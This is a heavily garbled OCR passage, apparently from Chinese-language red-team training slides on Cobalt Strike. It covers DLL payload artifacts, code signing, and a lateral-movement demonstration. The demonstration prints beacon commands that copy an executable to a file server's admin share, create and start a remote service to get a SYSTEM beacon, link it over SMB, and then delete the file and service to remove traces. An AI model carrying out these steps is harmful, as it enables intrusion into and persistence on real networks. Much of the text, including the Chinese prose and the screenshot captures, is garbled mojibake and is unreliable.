Windows DLL (32-bit) 22— x86 Windows DLL,

Windows DLL (64-bit) 22— x64 Windows DLL, #1&*ki%k+ “ Use x64

payload” , M x64 DLL 4Rk 32 MAREF IR T RRIZHIE.

x86 1 x64 DLL IS5 rundll32.exe 3234 Start B, [FRESERLE

a9 rundll32.exe Mas<$1TINE; DLL,
rundll32 foo.dll,Start
Proxy FEECE T Beacon NFaIIHIZE, XEAIEHAT,

LLINBEAE Y x86 artifacts, ERIAIEIR TRt x86 28249 (FRIEBEIREE) . %

Use x64 payload 1ELIERE S x64 BEZRMIAY x64 artifacts,


https://www.cobaltstrike.com/help-http-beacon#proxy

% Sign executable file 1E, FR{IBEZIEERT EXE 2 DLL artifacts #47

L8, WIRTE Malleable C2 Fe& SIS TEIFH,

Cobalt Strike {EEFAE Artifact Kit &pRttE+. .

Lateral Movement Demonstration

«1 192.168.1.10 192.168.2.66 mith CUMBER

Evert Log X I Beacon 192.168.2 66@2432 X

heacon shell I1|| | ]|!"-E.i||'| | L%
Tasked heacon To W] FILESERYERVW( %



https://www.cobaltstrike.com/help-malleable-c2#codesign
https://www.cobaltstrike.com/help-artifact-kit

rerfLogs
Program F1 L
Program Flle
shar

sers

W indow

HTML Apphc ation

external Web Drive-by * | Ms office Macro F” computer
E 192.168.2 .66 4 Spear Prus Payload Generator [YSTEM » CUMBER
. Usaico acorlay [T
Wingows Droppaer

wirdows Executable

windows E“:u‘t {s) |

Export a stageless Beacon as a Windows -
executable. Use Cobak Strike Arsenal scripts
Stage SMB Beacon .
Qutput: IWindows Sanace EXE -

13

Generale Help



r ——
Save In: [ root . &0 o
- ll— I_I:.,.I: r Wl tol J 0 alengr = l”-.l"l " I' bl
baltstrike ) ec2 pem ) targets tat

| Desxtop ‘ B Fta _‘I tempiate txt
Nowrloads "I evladobe ene "1 transachions oy
J Malleable-C2-Profdes A f eofox-31.5.0esr tar 1 oy late exd
. Wy [ it : EASMXTME Peg j pmdates nta
Hiear il Y mimierror .t
r i r i [, el aud
emplates ) notbad txt.e
Jed-Evasion _'I~1‘HI[.##
i "..1.“ 3l Tl ¥ BaE
Fidas of '-.I- AL Filas
Save Cancel
CYEIm LYy A I ar Sp— - T R

on= cd « WsSers

cd USers

o s fetatd ot om0 hylTes
on>= cd jsmi th'\Downloads

cd jsmithDownloads

hosi—rarird home sent i bytes
on= pwd

Tasked bedcon to print werking directary
|I||'-.-l call II| Lenl all flrf-"'.
Current dire

pn> upload /reot)

shell copy lateral.exe FILESERVER\ C$\wiindows \ tem

acon To ran epy Llaleral.exe FILESERVERALS \Windows '\ Temp
led home «=nl 65 bytes
eutput

s wonisrds ] deed ek raass



heacon> shell s FILESERVER create lateral bimpath=s ¢ \wilndows' temp ].|1:_}.!.1| eI
lasked—bewcon—to—run 3 SRR Ty T i IE e T T R T oW T

|+] host called home sent 87 bytes

[#] received sutput

[SC] CreateService SIKCESS

FILESERVER start latera

/ SYSTEM *

CLINBER @ 1844

jsmith \
072.168.1. 10
192. 168. 1.1 CLIMBER @ 2432 ( -*

L]
n_/ A,‘

SYSTEN *
FILESERVER @ 2792

Event Log X I Beacon 192.168.2.66@2432

SERVICE
10 WIN32? OWN PROCESS
t 2 START PENDING
(NOT STOPPABLE., NOT PAUSABLE. IGNORES SHUTDOWN)
WIN3Z EXIT CODE : B (0x0)
SERVICE EXIT CODI 1 6 (0x0)
CHECKPOINT 1 Ox0
WAIT HINT ¢ Bx7do
PID 1 2252
FLAGS

beacons Link FILESERVER

[*] Tasked Tto Link te "FILESERVER'
[+] host called home., sent: 30 hytes
[+] established link to child beacon:

Frd Taanrrmd  daed bl /FasS
’ -

beacon>| shell del lateral.exe

[*] Tasked beacon to run: del lateral.exe

[+] hos eeigeldepgas gt et b ety

beacon>| shell del \\FILESERVER\C$\windows'temp'lateral.exe

[*] TaskK®@ Geacon Lo Tan: Gel S\ ILESERVERSLpWindgowscempylateral.exe
|‘|'[ ||l'|"; l.:l::.r"|: ;|'|r|||l:'. SEI o Itl"';l"\

beacons shell sc \WFILESERVER delete lateral

! .Iil"-.r'.l'li il"'-l"lll il-' T ] ! |-111'[.|r

[+] host called home, sent 67 bytes

Foa waarme e § __ §F 4l sm e
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